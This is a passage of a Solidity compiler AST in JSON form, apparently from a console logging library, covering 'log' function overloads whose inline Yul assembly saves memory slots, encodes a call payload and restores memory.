es32","nodeType":"ElementaryTypeName","src":"119207:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37651,"nodeType":"VariableDeclarationStatement","src":"119207:10:22"},{"assignments":[37653],"declarations":[{"constant":false,"id":37653,"mutability":"mutable","name":"m3","nameLocation":"119235:2:22","nodeType":"VariableDeclaration","scope":37671,"src":"119227:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37652,"name":"bytes32","nodeType":"ElementaryTypeName","src":"119227:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37654,"nodeType":"VariableDeclarationStatement","src":"119227:10:22"},{"assignments":[37656],"declarations":[{"constant":false,"id":37656,"mutability":"mutable","name":"m4","nameLocation":"119255:2:22","nodeType":"VariableDeclaration","scope":37671,"src":"119247:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37655,"name":"bytes32","nodeType":"ElementaryTypeName","src":"119247:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37657,"nodeType":"VariableDeclarationStatement","src":"119247:10:22"},{"assignments":[37659],"declarations":[{"constant":false,"id":37659,"mutability":"mutable","name":"m5","nameLocation":"119275:2:22","nodeType":"VariableDeclaration","scope":37671,"src":"119267:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37658,"name":"bytes32","nodeType":"ElementaryTypeName","src":"119267:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37660,"nodeType":"VariableDeclarationStatement","src":"119267:10:22"},{"assignments":[37662],"declarations":[{"constant":false,"id":37662,"mutability":"mutable","name":"m6","nameLocation":"119295:2:22","nodeType":"VariableDeclaration","scope":37671,"src":"119287:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37661,"name":"bytes32","nodeType":"ElementaryTypeName","src":"119287:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37663,"nodeType":"VariableDeclarationStatement","src":"119287:10:22"},{"AST":{"nativeSrc":"119316:831:22","nodeType":"YulBlock","src":"119316:831:22","statements":[{"body":{"nativeSrc":"119359:313:22","nodeType":"YulBlock","src":"119359:313:22","statements":[{"nativeSrc":"119377:15:22","nodeType":"YulVariableDeclaration","src":"119377:15:22","value":{"kind":"number","nativeSrc":"119391:1:22","nodeType":"YulLiteral","src":"119391:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"119381:6:22","nodeType":"YulTypedName","src":"119381:6:22","type":""}]},{"body":{"nativeSrc":"119462:40:22","nodeType":"YulBlock","src":"119462:40:22","statements":[{"body":{"nativeSrc":"119491:9:22","nodeType":"YulBlock","src":"119491:9:22","statements":[{"nativeSrc":"119493:5:22","nodeType":"YulBreak","src":"119493:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"119479:6:22","nodeType":"YulIdentifier","src":"119479:6:22"},{"name":"w","nativeSrc":"119487:1:22","nodeType":"YulIdentifier","src":"119487:1:22"}],"functionName":{"name":"byte","nativeSrc":"119474:4:22","nodeType":"YulIdentifier","src":"119474:4:22"},"nativeSrc":"119474:15:22","nodeType":"YulFunctionCall","src":"119474:15:22"}],"functionName":{"name":"iszero","nativeSrc":"119467:6:22","nodeType":"YulIdentifier","src":"119467:6:22"},"nativeSrc":"119467:23:22","nodeType":"YulFunctionCall","src":"119467:23:22"},"nativeSrc":"119464:36:22","nodeType":"YulIf","src":"119464:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"119419:6:22","nodeType":"YulIdentifier","src":"119419:6:22"},{"kind":"number","nativeSrc":"119427:4:22","nodeType":"YulLiteral","src":"119427:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"119416:2:22","nodeType":"YulIdentifier","src":"119416:2:22"},"nativeSrc":"119416:16:22","nodeType":"YulFunctionCall","src":"119416:16:22"},"nativeSrc":"119409:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"119433:28:22","nodeType":"YulBlock","src":"119433:28:22","statements":[{"nativeSrc":"119435:24:22","nodeType":"YulAssignment","src":"119435:24:22","value":{"arguments":[{"name":"length","nativeSrc":"119449:6:22","nodeType":"YulIdentifier","src":"119449:6:22"},{"kind":"number","nativeSrc":"119457:1:22","nodeType":"YulLiteral","src":"119457:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"119445:3:22","nodeType":"YulIdentifier","src":"119445:3:22"},"nativeSrc":"119445:14:22","nodeType":"YulFunctionCall","src":"119445:14:22"},"variableNames":[{"name":"length","nativeSrc":"119435:6:22","nodeType":"YulIdentifier","src":"119435:6:22"}]}]},"pre":{"nativeSrc":"119413:2:22","nodeType":"YulBlock","src":"119413:2:22","statements":[]},"src":"119409:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"119526:3:22","nodeType":"YulIdentifier","src":"119526:3:22"},{"name":"length","nativeSrc":"119531:6:22","nodeType":"YulIdentifier","src":"119531:6:22"}],"functionName":{"name":"mstore","nativeSrc":"119519:6:22","nodeType":"YulIdentifier","src":"119519:6:22"},"nativeSrc":"119519:19:22","nodeType":"YulFunctionCall","src":"119519:19:22"},"nativeSrc":"119519:19:22","nodeType":"YulExpressionStatement","src":"119519:19:22"},{"nativeSrc":"119555:37:22","nodeType":"YulVariableDeclaration","src":"119555:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"119572:3:22","nodeType":"YulLiteral","src":"119572:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"119581:1:22","nodeType":"YulLiteral","src":"119581:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"119584:6:22","nodeType":"YulIdentifier","src":"119584:6:22"}],"functionName":{"name":"shl","nativeSrc":"119577:3:22","nodeType":"YulIdentifier","src":"119577:3:22"},"nativeSrc":"119577:14:22","nodeType":"YulFunctionCall","src":"119577:14:22"}],"functionName":{"name":"sub","nativeSrc":"119568:3:22","nodeType":"YulIdentifier","src":"119568:3:22"},"nativeSrc":"119568:24:22","nodeType":"YulFunctionCall","src":"119568:24:22"},"variables":[{"name":"shift","nativeSrc":"119559:5:22","nodeType":"YulTypedName","src":"119559:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"119620:3:22","nodeType":"YulIdentifier","src":"119620:3:22"},{"kind":"number","nativeSrc":"119625:4:22","nodeType":"YulLiteral","src":"119625:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"119616:3:22","nodeType":"YulIdentifier","src":"119616:3:22"},"nativeSrc":"119616:14:22","nodeType":"YulFunctionCall","src":"119616:14:22"},{"arguments":[{"name":"shift","nativeSrc":"119636:5:22","nodeType":"YulIdentifier","src":"119636:5:22"},{"arguments":[{"name":"shift","nativeSrc":"119647:5:22","nodeType":"YulIdentifier","src":"119647:5:22"},{"name":"w","nativeSrc":"119654:1:22","nodeType":"YulIdentifier","src":"119654:1:22"}],"functionName":{"name":"shr","nativeSrc":"119643:3:22","nodeType":"YulIdentifier","src":"119643:3:22"},"nativeSrc":"119643:13:22","nodeType":"YulFunctionCall","src":"119643:13:22"}],"functionName":{"name":"shl","nativeSrc":"119632:3:22","nodeType":"YulIdentifier","src":"119632:3:22"},"nativeSrc":"119632:25:22","nodeType":"YulFunctionCall","src":"119632:25:22"}],"functionName":{"name":"mstore","nativeSrc":"119609:6:22","nodeType":"YulIdentifier","src":"119609:6:22"},"nativeSrc":"119609:49:22","nodeType":"YulFunctionCall","src":"119609:49:22"},"nativeSrc":"119609:49:22","nodeType":"YulExpressionStatement","src":"119609:49:22"}]},"name":"writeString","nativeSrc":"119330:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"119351:3:22","nodeType":"YulTypedName","src":"119351:3:22","type":""},{"name":"w","nativeSrc":"119356:1:22","nodeType":"YulTypedName","src":"119356:1:22","type":""}],"src":"119330:342:22"},{"nativeSrc":"119685:17:22","nodeType":"YulAssignment","src":"119685:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"119697:4:22","nodeType":"YulLiteral","src":"119697:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"119691:5:22","nodeType":"YulIdentifier","src":"119691:5:22"},"nativeSrc":"119691:11:22","nodeType":"YulFunctionCall","src":"119691:11:22"},"variableNames":[{"name":"m0","nativeSrc":"119685:2:22","nodeType":"YulIdentifier","src":"119685:2:22"}]},{"nativeSrc":"119715:17:22","nodeType":"YulAssignment","src":"119715:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"119727:4:22","nodeType":"YulLiteral","src":"119727:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"119721:5:22","nodeType":"YulIdentifier","src":"119721:5:22"},"nativeSrc":"119721:11:22","nodeType":"YulFunctionCall","src":"119721:11:22"},"variableNames":[{"name":"m1","nativeSrc":"119715:2:22","nodeType":"YulIdentifier","src":"119715:2:22"}]},{"nativeSrc":"119745:17:22","nodeType":"YulAssignment","src":"119745:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"119757:4:22","nodeType":"YulLiteral","src":"119757:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"119751:5:22","nodeType":"YulIdentifier","src":"119751:5:22"},"nativeSrc":"119751:11:22","nodeType":"YulFunctionCall","src":"119751:11:22"},"variableNames":[{"name":"m2","nativeSrc":"119745:2:22","nodeType":"YulIdentifier","src":"119745:2:22"}]},{"nativeSrc":"119775:17:22","nodeType":"YulAssignment","src":"119775:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"119787:4:22","nodeType":"YulLiteral","src":"119787:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"119781:5:22","nodeType":"YulIdentifier","src":"119781:5:22"},"nativeSrc":"119781:11:22","nodeType":"YulFunctionCall","src":"119781:11:22"},"variableNames":[{"name":"m3","nativeSrc":"119775:2:22","nodeType":"YulIdentifier","src":"119775:2:22"}]},{"nativeSrc":"119805:17:22","nodeType":"YulAssignment","src":"119805:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"119817:4:22","nodeType":"YulLiteral","src":"119817:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"119811:5:22","nodeType":"YulIdentifier","src":"119811:5:22"},"nativeSrc":"119811:11:22","nodeType":"YulFunctionCall","src":"119811:11:22"},"variableNames":[{"name":"m4","nativeSrc":"119805:2:22","nodeType":"YulIdentifier","src":"119805:2:22"}]},{"nativeSrc":"119835:17:22","nodeType":"YulAssignment","src":"119835:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"119847:4:22","nodeType":"YulLiteral","src":"119847:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"119841:5:22","nodeType":"YulIdentifier","src":"119841:5:22"},"nativeSrc":"119841:11:22","nodeType":"YulFunctionCall","src":"119841:11:22"},"variableNames":[{"name":"m5","nativeSrc":"119835:2:22","nodeType":"YulIdentifier","src":"119835:2:22"}]},{"nativeSrc":"119865:17:22","nodeType":"YulAssignment","src":"119865:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"119877:4:22","nodeType":"YulLiteral","src":"119877:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"119871:5:22","nodeType":"YulIdentifier","src":"119871:5:22"},"nativeSrc":"119871:11:22","nodeType":"YulFunctionCall","src":"119871:11:22"},"variableNames":[{"name":"m6","nativeSrc":"119865:2:22","nodeType":"YulIdentifier","src":"119865:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"119968:4:22","nodeType":"YulLiteral","src":"119968:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"119974:10:22","nodeType":"YulLiteral","src":"119974:10:22","type":"","value":"0x1da986ea"}],"functionName":{"name":"mstore","nativeSrc":"119961:6:22","nodeType":"YulIdentifier","src":"119961:6:22"},"nativeSrc":"119961:24:22","nodeType":"YulFunctionCall","src":"119961:24:22"},"nativeSrc":"119961:24:22","nodeType":"YulExpressionStatement","src":"119961:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120005:4:22","nodeType":"YulLiteral","src":"120005:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"120011:2:22","nodeType":"YulIdentifier","src":"120011:2:22"}],"functionName":{"name":"mstore","nativeSrc":"119998:6:22","nodeType":"YulIdentifier","src":"119998:6:22"},"nativeSrc":"119998:16:22","nodeType":"YulFunctionCall","src":"119998:16:22"},"nativeSrc":"119998:16:22","nodeType":"YulExpressionStatement","src":"119998:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120034:4:22","nodeType":"YulLiteral","src":"120034:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"120040:2:22","nodeType":"YulIdentifier","src":"120040:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120027:6:22","nodeType":"YulIdentifier","src":"120027:6:22"},"nativeSrc":"120027:16:22","nodeType":"YulFunctionCall","src":"120027:16:22"},"nativeSrc":"120027:16:22","nodeType":"YulExpressionStatement","src":"120027:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120063:4:22","nodeType":"YulLiteral","src":"120063:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"120069:2:22","nodeType":"YulIdentifier","src":"120069:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120056:6:22","nodeType":"YulIdentifier","src":"120056:6:22"},"nativeSrc":"120056:16:22","nodeType":"YulFunctionCall","src":"120056:16:22"},"nativeSrc":"120056:16:22","nodeType":"YulExpressionStatement","src":"120056:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120092:4:22","nodeType":"YulLiteral","src":"120092:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"120098:4:22","nodeType":"YulLiteral","src":"120098:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"120085:6:22","nodeType":"YulIdentifier","src":"120085:6:22"},"nativeSrc":"120085:18:22","nodeType":"YulFunctionCall","src":"120085:18:22"},"nativeSrc":"120085:18:22","nodeType":"YulExpressionStatement","src":"120085:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120128:4:22","nodeType":"YulLiteral","src":"120128:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"120134:2:22","nodeType":"YulIdentifier","src":"120134:2:22"}],"functionName":{"name":"writeString","nativeSrc":"120116:11:22","nodeType":"YulIdentifier","src":"120116:11:22"},"nativeSrc":"120116:21:22","nodeType":"YulFunctionCall","src":"120116:21:22"},"nativeSrc":"120116:21:22","nodeType":"YulExpressionStatement","src":"120116:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37644,"isOffset":false,"isSlot":false,"src":"119685:2:22","valueSize":1},{"declaration":37647,"isOffset":false,"isSlot":false,"src":"119715:2:22","valueSize":1},{"declaration":37650,"isOffset":false,"isSlot":false,"src":"119745:2:22","valueSize":1},{"declaration":37653,"isOffset":false,"isSlot":false,"src":"119775:2:22","valueSize":1},{"declaration":37656,"isOffset":false,"isSlot":false,"src":"119805:2:22","valueSize":1},{"declaration":37659,"isOffset":false,"isSlot":false,"src":"119835:2:22","valueSize":1},{"declaration":37662,"isOffset":false,"isSlot":false,"src":"119865:2:22","valueSize":1},{"declaration":37634,"isOffset":false,"isSlot":false,"src":"120011:2:22","valueSize":1},{"declaration":37636,"isOffset":false,"isSlot":false,"src":"120040:2:22","valueSize":1},{"declaration":37638,"isOffset":false,"isSlot":false,"src":"120069:2:22","valueSize":1},{"declaration":37640,"isOffset":false,"isSlot":false,"src":"120134:2:22","valueSize":1}],"id":37664,"nodeType":"InlineAssembly","src":"119307:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37666,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"120172:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":37667,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"120178:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":37665,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"120156:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37668,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"120156:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37669,"nodeType":"ExpressionStatement","src":"120156:27:22"},{"AST":{"nativeSrc":"120202:214:22","nodeType":"YulBlock","src":"120202:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"120223:4:22","nodeType":"YulLiteral","src":"120223:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"120229:2:22","nodeType":"YulIdentifier","src":"120229:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120216:6:22","nodeType":"YulIdentifier","src":"120216:6:22"},"nativeSrc":"120216:16:22","nodeType":"YulFunctionCall","src":"120216:16:22"},"nativeSrc":"120216:16:22","nodeType":"YulExpressionStatement","src":"120216:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120252:4:22","nodeType":"YulLiteral","src":"120252:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"120258:2:22","nodeType":"YulIdentifier","src":"120258:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120245:6:22","nodeType":"YulIdentifier","src":"120245:6:22"},"nativeSrc":"120245:16:22","nodeType":"YulFunctionCall","src":"120245:16:22"},"nativeSrc":"120245:16:22","nodeType":"YulExpressionStatement","src":"120245:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120281:4:22","nodeType":"YulLiteral","src":"120281:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"120287:2:22","nodeType":"YulIdentifier","src":"120287:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120274:6:22","nodeType":"YulIdentifier","src":"120274:6:22"},"nativeSrc":"120274:16:22","nodeType":"YulFunctionCall","src":"120274:16:22"},"nativeSrc":"120274:16:22","nodeType":"YulExpressionStatement","src":"120274:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120310:4:22","nodeType":"YulLiteral","src":"120310:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"120316:2:22","nodeType":"YulIdentifier","src":"120316:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120303:6:22","nodeType":"YulIdentifier","src":"120303:6:22"},"nativeSrc":"120303:16:22","nodeType":"YulFunctionCall","src":"120303:16:22"},"nativeSrc":"120303:16:22","nodeType":"YulExpressionStatement","src":"120303:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120339:4:22","nodeType":"YulLiteral","src":"120339:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"120345:2:22","nodeType":"YulIdentifier","src":"120345:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120332:6:22","nodeType":"YulIdentifier","src":"120332:6:22"},"nativeSrc":"120332:16:22","nodeType":"YulFunctionCall","src":"120332:16:22"},"nativeSrc":"120332:16:22","nodeType":"YulExpressionStatement","src":"120332:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120368:4:22","nodeType":"YulLiteral","src":"120368:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"120374:2:22","nodeType":"YulIdentifier","src":"120374:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120361:6:22","nodeType":"YulIdentifier","src":"120361:6:22"},"nativeSrc":"120361:16:22","nodeType":"YulFunctionCall","src":"120361:16:22"},"nativeSrc":"120361:16:22","nodeType":"YulExpressionStatement","src":"120361:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120397:4:22","nodeType":"YulLiteral","src":"120397:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"120403:2:22","nodeType":"YulIdentifier","src":"120403:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120390:6:22","nodeType":"YulIdentifier","src":"120390:6:22"},"nativeSrc":"120390:16:22","nodeType":"YulFunctionCall","src":"120390:16:22"},"nativeSrc":"120390:16:22","nodeType":"YulExpressionStatement","src":"120390:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37644,"isOffset":false,"isSlot":false,"src":"120229:2:22","valueSize":1},{"declaration":37647,"isOffset":false,"isSlot":false,"src":"120258:2:22","valueSize":1},{"declaration":37650,"isOffset":false,"isSlot":false,"src":"120287:2:22","valueSize":1},{"declaration":37653,"isOffset":false,"isSlot":false,"src":"120316:2:22","valueSize":1},{"declaration":37656,"isOffset":false,"isSlot":false,"src":"120345:2:22","valueSize":1},{"declaration":37659,"isOffset":false,"isSlot":false,"src":"120374:2:22","valueSize":1},{"declaration":37662,"isOffset":false,"isSlot":false,"src":"120403:2:22","valueSize":1}],"id":37670,"nodeType":"InlineAssembly","src":"120193:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"119091:3:22","parameters":{"id":37641,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37634,"mutability":"mutable","name":"p0","nameLocation":"119103:2:22","nodeType":"VariableDeclaration","scope":37672,"src":"119095:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37633,"name":"address","nodeType":"ElementaryTypeName","src":"119095:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37636,"mutability":"mutable","name":"p1","nameLocation":"119115:2:22","nodeType":"VariableDeclaration","scope":37672,"src":"119107:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37635,"name":"uint256","nodeType":"ElementaryTypeName","src":"119107:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37638,"mutability":"mutable","name":"p2","nameLocation":"119127:2:22","nodeType":"VariableDeclaration","scope":37672,"src":"119119:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37637,"name":"address","nodeType":"ElementaryTypeName","src":"119119:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37640,"mutability":"mutable","name":"p3","nameLocation":"119139:2:22","nodeType":"VariableDeclaration","scope":37672,"src":"119131:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37639,"name":"bytes32","nodeType":"ElementaryTypeName","src":"119131:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"119094:48:22"},"returnParameters":{"id":37642,"nodeType":"ParameterList","parameters":[],"src":"119157:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37706,"nodeType":"FunctionDefinition","src":"120428:786:22","nodes":[],"body":{"id":37705,"nodeType":"Block","src":"120500:714:22","nodes":[],"statements":[{"assignments":[37684],"declarations":[{"constant":false,"id":37684,"mutability":"mutable","name":"m0","nameLocation":"120518:2:22","nodeType":"VariableDeclaration","scope":37705,"src":"120510:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37683,"name":"bytes32","nodeType":"ElementaryTypeName","src":"120510:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37685,"nodeType":"VariableDeclarationStatement","src":"120510:10:22"},{"assignments":[37687],"declarations":[{"constant":false,"id":37687,"mutability":"mutable","name":"m1","nameLocation":"120538:2:22","nodeType":"VariableDeclaration","scope":37705,"src":"120530:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37686,"name":"bytes32","nodeType":"ElementaryTypeName","src":"120530:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37688,"nodeType":"VariableDeclarationStatement","src":"120530:10:22"},{"assignments":[37690],"declarations":[{"constant":false,"id":37690,"mutability":"mutable","name":"m2","nameLocation":"120558:2:22","nodeType":"VariableDeclaration","scope":37705,"src":"120550:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37689,"name":"bytes32","nodeType":"ElementaryTypeName","src":"120550:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37691,"nodeType":"VariableDeclarationStatement","src":"120550:10:22"},{"assignments":[37693],"declarations":[{"constant":false,"id":37693,"mutability":"mutable","name":"m3","nameLocation":"120578:2:22","nodeType":"VariableDeclaration","scope":37705,"src":"120570:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37692,"name":"bytes32","nodeType":"ElementaryTypeName","src":"120570:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37694,"nodeType":"VariableDeclarationStatement","src":"120570:10:22"},{"assignments":[37696],"declarations":[{"constant":false,"id":37696,"mutability":"mutable","name":"m4","nameLocation":"120598:2:22","nodeType":"VariableDeclaration","scope":37705,"src":"120590:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37695,"name":"bytes32","nodeType":"ElementaryTypeName","src":"120590:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37697,"nodeType":"VariableDeclarationStatement","src":"120590:10:22"},{"AST":{"nativeSrc":"120619:378:22","nodeType":"YulBlock","src":"120619:378:22","statements":[{"nativeSrc":"120633:17:22","nodeType":"YulAssignment","src":"120633:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"120645:4:22","nodeType":"YulLiteral","src":"120645:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"120639:5:22","nodeType":"YulIdentifier","src":"120639:5:22"},"nativeSrc":"120639:11:22","nodeType":"YulFunctionCall","src":"120639:11:22"},"variableNames":[{"name":"m0","nativeSrc":"120633:2:22","nodeType":"YulIdentifier","src":"120633:2:22"}]},{"nativeSrc":"120663:17:22","nodeType":"YulAssignment","src":"120663:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"120675:4:22","nodeType":"YulLiteral","src":"120675:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"120669:5:22","nodeType":"YulIdentifier","src":"120669:5:22"},"nativeSrc":"120669:11:22","nodeType":"YulFunctionCall","src":"120669:11:22"},"variableNames":[{"name":"m1","nativeSrc":"120663:2:22","nodeType":"YulIdentifier","src":"120663:2:22"}]},{"nativeSrc":"120693:17:22","nodeType":"YulAssignment","src":"120693:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"120705:4:22","nodeType":"YulLiteral","src":"120705:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"120699:5:22","nodeType":"YulIdentifier","src":"120699:5:22"},"nativeSrc":"120699:11:22","nodeType":"YulFunctionCall","src":"120699:11:22"},"variableNames":[{"name":"m2","nativeSrc":"120693:2:22","nodeType":"YulIdentifier","src":"120693:2:22"}]},{"nativeSrc":"120723:17:22","nodeType":"YulAssignment","src":"120723:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"120735:4:22","nodeType":"YulLiteral","src":"120735:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"120729:5:22","nodeType":"YulIdentifier","src":"120729:5:22"},"nativeSrc":"120729:11:22","nodeType":"YulFunctionCall","src":"120729:11:22"},"variableNames":[{"name":"m3","nativeSrc":"120723:2:22","nodeType":"YulIdentifier","src":"120723:2:22"}]},{"nativeSrc":"120753:17:22","nodeType":"YulAssignment","src":"120753:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"120765:4:22","nodeType":"YulLiteral","src":"120765:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"120759:5:22","nodeType":"YulIdentifier","src":"120759:5:22"},"nativeSrc":"120759:11:22","nodeType":"YulFunctionCall","src":"120759:11:22"},"variableNames":[{"name":"m4","nativeSrc":"120753:2:22","nodeType":"YulIdentifier","src":"120753:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120854:4:22","nodeType":"YulLiteral","src":"120854:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"120860:10:22","nodeType":"YulLiteral","src":"120860:10:22","type":"","value":"0xa31bfdcc"}],"functionN